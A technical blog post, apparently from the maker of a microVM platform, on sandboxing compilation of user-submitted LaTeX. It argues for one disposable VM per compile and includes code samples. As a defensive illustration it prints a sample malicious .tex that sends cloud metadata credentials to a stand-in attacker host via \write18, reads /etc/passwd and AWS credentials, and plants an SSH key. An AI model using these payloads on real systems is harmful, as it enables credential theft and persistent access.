Compiling User-Submitted LaTeX Without Handing Over a Shell

The ticket reads like a rendering task. Users need a PDF — a paper, a thesis, an invoice, a resume — and someone points out that LaTeX gives you real typography, real math and real bibliography handling for the cost of an apt-get. So you install TeX Live on the API box, shell out to pdflatex with the user's .tex, and ship the PDF back. It works immediately, which is the problem: nothing in the diff looks like a security change, because on the surface you added a file converter.

I'm Ajay; I build PandaStack, a Firecracker microVM platform. The argument here is that LaTeX is not a document format. It is a Turing-complete macro language with a documented primitive for running shell commands, implemented by an enormous C codebase that has been parsing fonts, images and PostScript since before most of your dependencies existed. Compiling a stranger's .tex is a code-execution decision. The good news: the fix also lets you ship something your competitors are too scared to — shell escape, on and working, because the boundary is a machine rather than a config flag.

LaTeX is a programming language that emits PDFs as a side effect

TeX has macros, conditionals, counters, arithmetic and recursion. People have implemented regular expression engines and entire games in it, because the language is genuinely general. LaTeX is a macro package on top, and a .tex file is a program. Running pdflatex on user input means running a program a stranger wrote, in an interpreter you did not audit, as whatever user your API process happens to be.

And then there is stream 18. TeX writes to numbered output streams; stream 18 is special, and the engine hands its contents to a shell. A typesetting system with a documented `system()` call is a bold choice, and a defensible one back when the author of the document and the operator of the compiler were the same person. Here is what it looks like when they are not.

cat > evil.tex <<'EOF'
% Three separate problems. None of them is a bug -- all documented behaviour.
\documentclass{article}
\begin{document}

% 1. Shell escape. Stream 18 is not a file, it is /bin/sh.
\immediate\write18{curl -s http://169.254.169.254/latest/meta-data/iam/ \
  | curl -X POST --data-binary @- https://collector.attacker.example}

% 2. Arbitrary file read -- works with shell escape OFF. The contents end up
%    typeset into the PDF you cheerfully email back to the "author".
\input{/etc/passwd}
\input{/home/app/.aws/credentials}

% 3. Arbitrary file write -- also with shell escape off, if openout_any is
%    not locked down. This one is a persistence primitive, not a leak.
\newwrite\out
\immediate\openout\out=/home/app/.ssh/authorized_keys
\immediate\write\out{ssh-ed25519 AAAAC3Nz... attacker@example}
\immediate\closeout\out

\end{document}
EOF

# The supported, documented way to run arbitrary commands from a document:
pdflatex -shell-escape evil.tex

# And the part people miss -- the default is "restricted", not "off":
pdflatex evil.tex
# \write18 is refused. \input{/etc/passwd} is not. You still shipped the file.

Read what the second invocation does. No flag, no vulnerability, nothing exploited — the engine did exactly what the manual says: it read a file the process had permission to read and typeset it. Your product then handed that PDF to the person who asked for it. If your compile process can read a credentials file, so can every document anyone uploads.

Why "just turn shell escape off" is not a free answer

Disable shell escape and move on: it is the correct default and closes the loudest hole. But understand what you give up, because the packages that need it are not obscure:

• minted — the best syntax highlighting in the LaTeX ecosystem, implemented by shelling out to Pygments. Every code listing in a CS paper.
• gnuplot via pgfplots — plots generated at compile time from data in the document, by invoking gnuplot as an external process.
• svg — imports SVG figures by calling Inkscape to convert them. Common in anything with vector diagrams.
• TikZ externalization — caches expensive figures as standalone PDFs by re-invoking the compiler on subfiles. This is a performance feature people reach for precisely when documents get big.

TeX Live's middle ground is restricted shell escape: an allowlist in texmf.cnf of commands that may run without the flag. It is a reasonable engineering compromise and a poor security boundary, because it is a list of ordinary command-line programs — written to be useful, not to be safe when their arguments come from an adversary. The recurring class of bug is what you would predict: an allowed helper that accepts an option which is itself a command, or a filename a downstream library treats as a pipe. The newer engines widened the surface too — luatex embeds a full Lua interpreter, and metapost has its own write primitive. Bypasses in this family have been found and patched more than once; I would not bet production on the next one not existing.

The threat model with shell escape already off

Assume the flag is off, the allowlist is empty, and the engine has no bypass. A .tex file can still do all of this:

• Read any file the process can read, and typeset it — `\input`, `\InputIfFileExists`, listings' `\lstinputlisting`. The output channel is the PDF you deliver.
• Write files, unless openout_any is locked to the paranoid setting. Writing into the TeX tree is the interesting version, because the next compile reads it.
• Enumerate your filesystem through error messages: a missing-file error names every path searched. The .log is a map of your install, and users need the log — it is the product.
• Emit a hostile PDF. PDF is its own container format with links, embedded files and, depending on the viewer, scripting — attacker-influenced bytes you then serve to other humans.
• On luatex, run Lua. Lua's standard library has opinions about the operating system, and the engine's restrictions on it are, again, a configuration.

The failure mode with no attacker in it

Before the security story there is a plain availability story, and it is the one that pages you first. `\def\x{\x\x}\x` is nine characters of doubling recursion. A `\loop` whose condition never becomes false pins a core until something outside the process intervenes. And a `\newcommand` that accidentally references itself — a normal thing for a graduate student to write at 2 a.m. — is indistinguishable from an attack, from your infrastructure's point of view.

Classic TeX had fixed internal arrays and eventually gave up with "TeX capacity exceeded," which was accidentally a decent circuit breaker. Modern engines grow memory dynamically — better for real documents, worse for you: the runaway consumes host RAM until the kernel picks a victim, and the kernel picks the fattest process, not the guilty one. There is also the hang that is not a loop at all: an interactive error prompt waiting on stdin that will never arrive, which is why every invocation here passes `-interaction=nonstopmode`.

Why a container is a weak boundary here specifically

Containers deserve credit where they earn it: cgroup memory and pids limits genuinely bound the expansion bomb, so the resource half of this problem is largely handled. It is the security half where the boundary is thin, and TeX is an unusually bad fit for it.

• One shared kernel. A container is a polite suggestion to the kernel about which resources a process should see. The TeX engines and the font and image libraries behind them are large, old, memory-unsafe C parsing hostile input — the exact shape that turns a parsing bug into a kernel bug into a node compromise.
• The metadata endpoint. From inside most container network namespaces, 169.254.169.254 is one HTTP request away unless someone did deliberate work. A single `\write18` line reads the node's cloud role and every permission attached to it.
• Shared mounts and shared /tmp. TeX writes intermediates constantly, and if compile containers share a font or package cache, one document's `\openout` is the next document's `\input`.

A Firecracker microVM changes the category of the question. The guest gets its own kernel under KVM, its own memory, its own block device and its own network namespace, so escaping means breaking a hypervisor with a deliberately tiny device surface rather than finding a kernel bug — the same model AWS Lambda uses for untrusted code. The historical objection was start cost, and it was fair: a VM per compile is absurd if a VM takes ten seconds to appear.

The design: bake TeX Live into a snapshot, one microVM per compile

The whole trick is that you never install anything on the hot path. A full TeX Live tree is enormous and slow to unpack, and `tlmgr install` during a user's compile is both a latency disaster and a network dependency you do not want the guest to have. Build the environment once — TeX Live, fonts, font cache, your harness — and snapshot it. Every compile restores that snapshot instead of booting.

On PandaStack there is no warm pool; every create is a snapshot restore, about 179ms p50 and 203ms p99, with the restore step itself near 49ms. The first boot of a template, before a snapshot exists, is around 3 seconds, paid once. Against a real document — several pdflatex passes plus a bibliography tool — a fresh machine per job costs less than the typesetting does. The lifecycle is boringly linear: restore, write the .tex and its assets in, compile, read the PDF and the log out, destroy.

from pandastack import Sandbox

# "latex" here is YOUR baked template: the base image plus a TeX Live tree,
# fonts, a warm font cache, and any .fmt files you precompiled. PandaStack
# does not run a managed LaTeX service -- the substrate is ours, the tree
# is yours to bake once and reuse forever.
LATEX_TEMPLATE = "latex"
COMPILE_BUDGET_S = 120


def compile_tex(tex_source: str, assets: dict[str, bytes]) -> dict:
    """Compile one untrusted document in a machine that will not survive it."""
    # ttl_seconds is the backstop the platform enforces. If this process
    # panics mid-compile, the VM still dies. Cleanup you have to remember
    # to run is cleanup that does not happen during an incident.
    sbx = Sandbox.create(
        template=LATEX_TEMPLATE,
        ttl_seconds=COMPILE_BUDGET_S + 60,
        metadata={"job": "latex-compile"},
    )
    try:
        sbx.filesystem.write("/work/main.tex", tex_source)
        for name, blob in assets.items():
            # Resolved and size-capped host-side. The compiler never fetches.
            sbx.filesystem.write("/work/assets/" + name, blob)

        # latexmk owns the multi-pass dance: pdflatex, bibtex/biber, then
        # pdflatex again until the cross-references stop moving.
        # -shell-escape is ON, deliberately -- see "turning it on safely".
        r = sbx.exec(
            "cd /work && latexmk -pdf -shell-escape "
            "-interaction=nonstopmode -file-line-error main.tex",
            timeout_seconds=COMPILE_BUDGET_S,
        )

        # A PDF can exist even when the exit code is non-zero: LaTeX errors
        # are often recoverable and users very much want the partial output.
        pdf = None
        try:
            pdf = sbx.filesystem.read("/work/main.pdf")
        except FileNotFoundError:
            pass

        return {
            "ok": r.exit_code == 0 and pdf is not None,
            "pdf": pdf,
            # The log is attacker-controlled text. Sanitize before display.
            "log": sanitize_log(sbx.filesystem.read("/work/main.log")),
        }
    finally:
        # Destroyed, not reset. shell-escape can write anywhere in the guest,
        # including into the TeX tree the next document would have read.
        sbx.destroy()

Multi-pass compilation lives inside one VM lifetime

A document with references and a bibliography is not one process invocation. latexmk runs pdflatex, then bibtex or biber, then pdflatex again — usually twice more — until the .aux files stop changing and the cross-references converge. Those passes talk to each other through intermediate files on disk: .aux, .toc, .bbl, .fls. Do not give each pass its own sandbox; you would shuttle that state around for no isolation benefit, since every pass belongs to the same document and the same tenant.

The natural unit is the compile session: one VM, one latexmk run, one timeout over the whole thing. That also fixes a quiet accounting error — time out per pass and a document engineered to be slow multiplies its budget by however many passes it can provoke.

Timeouts, memory, and output caps

Every limit that matters has to be enforced from outside the guest, because the thing you are limiting is the thing that is stuck. Four layers, cheapest first:

1. A wall clock on the exec. Sixty to a hundred and twenty seconds is generous for a thesis, and a runaway macro dies on schedule with no cooperation from inside.
2. A TTL on the VM, set at create time and enforced by the platform. This is what saves you when your orchestrator is the thing that died.
3. A fixed RAM ceiling. Firecracker cannot resize guest memory at snapshot restore, so the template's baked RAM is the ceiling — pick the tier when you bake. An expansion bomb then OOMs inside its own machine while the host notices nothing.
4. Output caps, checked on the way out. A PDF over your size limit is a failure, not a truncation, and the same goes for the log. `ulimit -f` and `-t` inside the guest are a cheap second line, but treat them as hints — they are enforced by a kernel the document may own.

No network by default, and the one real exception

A TeX job has no business making outbound connections. Default-deny egress at the VM's network namespace — enforced by the host's networking, not by a flag the compiler respects. That one decision removes exfiltration, the metadata endpoint and the SSRF pivot into your VPC, and it does so in the world where the document already has a root shell, which is the world to design for.

The genuine exception is remote assets: an image the user references by URL, or a package that is not in your baked tree. Handle both out of band. Resolve remote images on the host through your own fetcher — allowlist, size cap, redirect limit, no private address ranges — then write the bytes into the guest before the compile starts. Never let the compiler be the fetcher; a compiler that fetches is an SSRF gadget with a typesetting hobby. For missing packages, run `tlmgr` in a separate throwaway VM whose egress allows CTAN and nothing else, then bake the popular ones into the next snapshot.

// The service contract. Note what a request does NOT carry: no credentials,
// no callback URL, no bucket name, no database handle. Bytes in, bytes out.
type CompileRequest = {
  main: string;                       // untrusted .tex, by assumption
  assets: Record<string, Uint8Array>; // host-resolved, size-capped
  engine: "pdflatex" | "xelatex" | "lualatex";
  shellEscape: boolean;               // safe to expose -- see below
  limits: {
    wallClockMs: number;              // host-enforced kill
    pdfBytes: number;                 // cap on what we copy back
    logBytes: number;
  };
};

type CompileResult =
  | { ok: true; pdf: Uint8Array; log: string; passes: number }
  | { ok: false; log: string; error: "timeout" | "compile_error" | "too_large" };

// The log is written by the document. \message{} prints whatever the author
// wants, and file-not-found errors name real guest paths. Both get filtered
// before a human ever sees them.
export function sanitizeLog(raw: string, limits: CompileRequest["limits"]) {
  return raw
    .replace(/\/work\//g, "")                 // strip guest layout
    .replace(/\/usr\/local\/texlive\/[^\s:]+/g, "<texlive>")
    .split("\n")
    .filter((l) => !l.startsWith("Package: ")) // version fingerprinting
    .join("\n")
    .slice(0, limits.logBytes);
}

How to turn --shell-escape on and mean it

This is the part worth building, because it is the part everyone else refuses. Hosted LaTeX services ship shell escape disabled, then field a permanent stream of tickets from users whose minted listings and Inkscape figures do not work. With a VM per compile it stops being a security decision and becomes a resource decision: you already assume the document is hostile and may end up with a root shell in the guest, so enabling it changes nothing except sparing you a bypass hunt you were going to lose.

What has to be true before you flip it — and each of these is checkable, which is the point:

1. The guest holds no credentials. No API keys in the environment, no mounted service account, no metadata route, no SSH key that opens anything. If a root shell in the guest would be an incident, the guest is not finished.
2. Egress is denied by default at the VM's network namespace, with the link-local metadata address genuinely unreachable.
3. The wall clock and RAM ceiling come from the host, and the TTL is set at create time so the machine dies even if your orchestrator does.
4. The input set is exactly what you put there: one tenant's document and its assets. No other user's files, no cache shared with another tenant, no mount that outlives the job.
5. The machine is destroyed between documents, not reset. shell-escape can write into the TeX tree, and a poisoned tree is a compiler backdoor for every later compile that reuses it.
6. Outputs are an allowlist with size caps — main.pdf and main.log, read by path — rather than "archive whatever ended up in /work."
7. You still cap concurrency per tenant. Isolation stops one document hurting another; it does not stop one account occupying your fleet with a hundred deliberately slow compiles.

Caching the preamble, because packages are the slow part

Once compiles are isolated they need to be fast, and a surprising share of a run happens before the document body: loading tikz, pgfplots, fontspec, biblatex and the rest of a heavy preamble. TeX's own answer is a precompiled format — mylatexformat builds a .fmt from a fixed preamble, and later runs start with everything already loaded. Two caching levels compose here.

• Snapshot level. Bake the TeX tree, the font cache, and — if your product owns the document class, as invoice and resume generators do — the .fmt files into the template. Every restore comes up warm, paid once per template generation rather than per job.
• Session level. For an editor where one user recompiles the same project dozens of times an hour, fork a warmed VM that has already done a first pass instead of creating a fresh one. A same-host fork is 400-750ms with copy-on-write memory and disk; cross-host is 1.2-3.5s. The aux files and caches come along.

#!/usr/bin/env bash
# Runs ONCE, when you bake the template snapshot -- never on the hot path.
set -euo pipefail

# 1. The tree. Pin the TeX Live year; a re-bake is a versioned event, not a
#    surprise that arrives when a mirror updates under a running fleet.
tlmgr install minted pgfplots svg biblatex biber latexmk mylatexformat

# 2. Warm the font caches. Doing this per job is minutes of wasted CPU and,
#    worse, a write to a shared cache dir if you ever share one.
luaotfload-tool --update --force
fc-cache -f

# 3. Precompile a preamble you control into a format file. Worth it for
#    invoice/resume/report products where the class is yours and only the
#    body varies. For a general editor -- where the user edits the preamble
#    -- skip this and lean on the snapshot plus fork instead.
cd /opt/latex
pdftex -ini -shell-escape \
  -jobname=invoice "&pdflatex" mylatexformat.ltx house-style.tex

# 4. Lock the engine's own knobs anyway. Defence in depth is free here: the
#    VM is the boundary, these are the second line inside it.
printf 'openout_any = p\nopenin_any = p\n' >> "$(kpsewhich -var-value TEXMFCNF)/texmf.cnf"

# The snapshot taken after this script is what every compile restores.
# ~179ms p50 to get a machine with all of the above already resident.

Be honest about mylatexformat's limits: the format is tied to exact preamble bytes, so any edit invalidates it — and "the user edits the preamble" is the defining feature of an Overleaf-like. Use it where the preamble is yours. Where it is not, the snapshot and the fork do the same job with less bookkeeping.

Getting the PDF and the log back out

Two artifacts leave the guest. The PDF: read it by exact path, cap the size, and check it begins with a PDF header before you store or serve it. It is attacker-influenced output — if other users can open it (a shared paper, a public resume link), serve it from a separate origin with a restrictive policy, and render previews to images rather than handing the file to a viewer.

The log is subtler, because you cannot withhold it. Users debugging a failed compile need the error, and "compilation failed" with no detail is a worse product than the risk you avoided. But the log carries absolute guest paths, package versions that fingerprint your install, and whatever the document printed with `\message`. Rewrite the paths, drop the banners, cap the length, and treat every byte as untrusted text on its way into your UI — because that is what it is.

When you do not need any of this

If users never supply .tex — if you generate the document from a template you wrote and they only fill in fields — you have a different problem. That is LaTeX injection, and the answer is a real escaper for the characters that matter: backslash, braces, percent, ampersand, hash, underscore, dollar, caret, tilde. Get it wrong and a name field becomes a macro.

Know the alternatives before committing. Typst is a modern typesetting system designed without a shell escape primitive, and if your users have no existing corpus it is a serious option — verify its current sandboxing claims against its own docs rather than mine. An HTML-to-PDF path through a headless browser trades the TeX attack surface for a browser one: larger, but with a real sandbox someone else maintains. LaTeX earns its keep when users bring existing documents, need genuine mathematical typesetting, or must use a journal's class file — which is exactly where the input is least trustworthy.

The question is not whether your compiler can be tricked. It is what the postmortem says: "a disposable VM got rooted and was deleted 40 seconds later," or "a PhD student's bibliography read our AWS credentials and we typeset them into a PDF."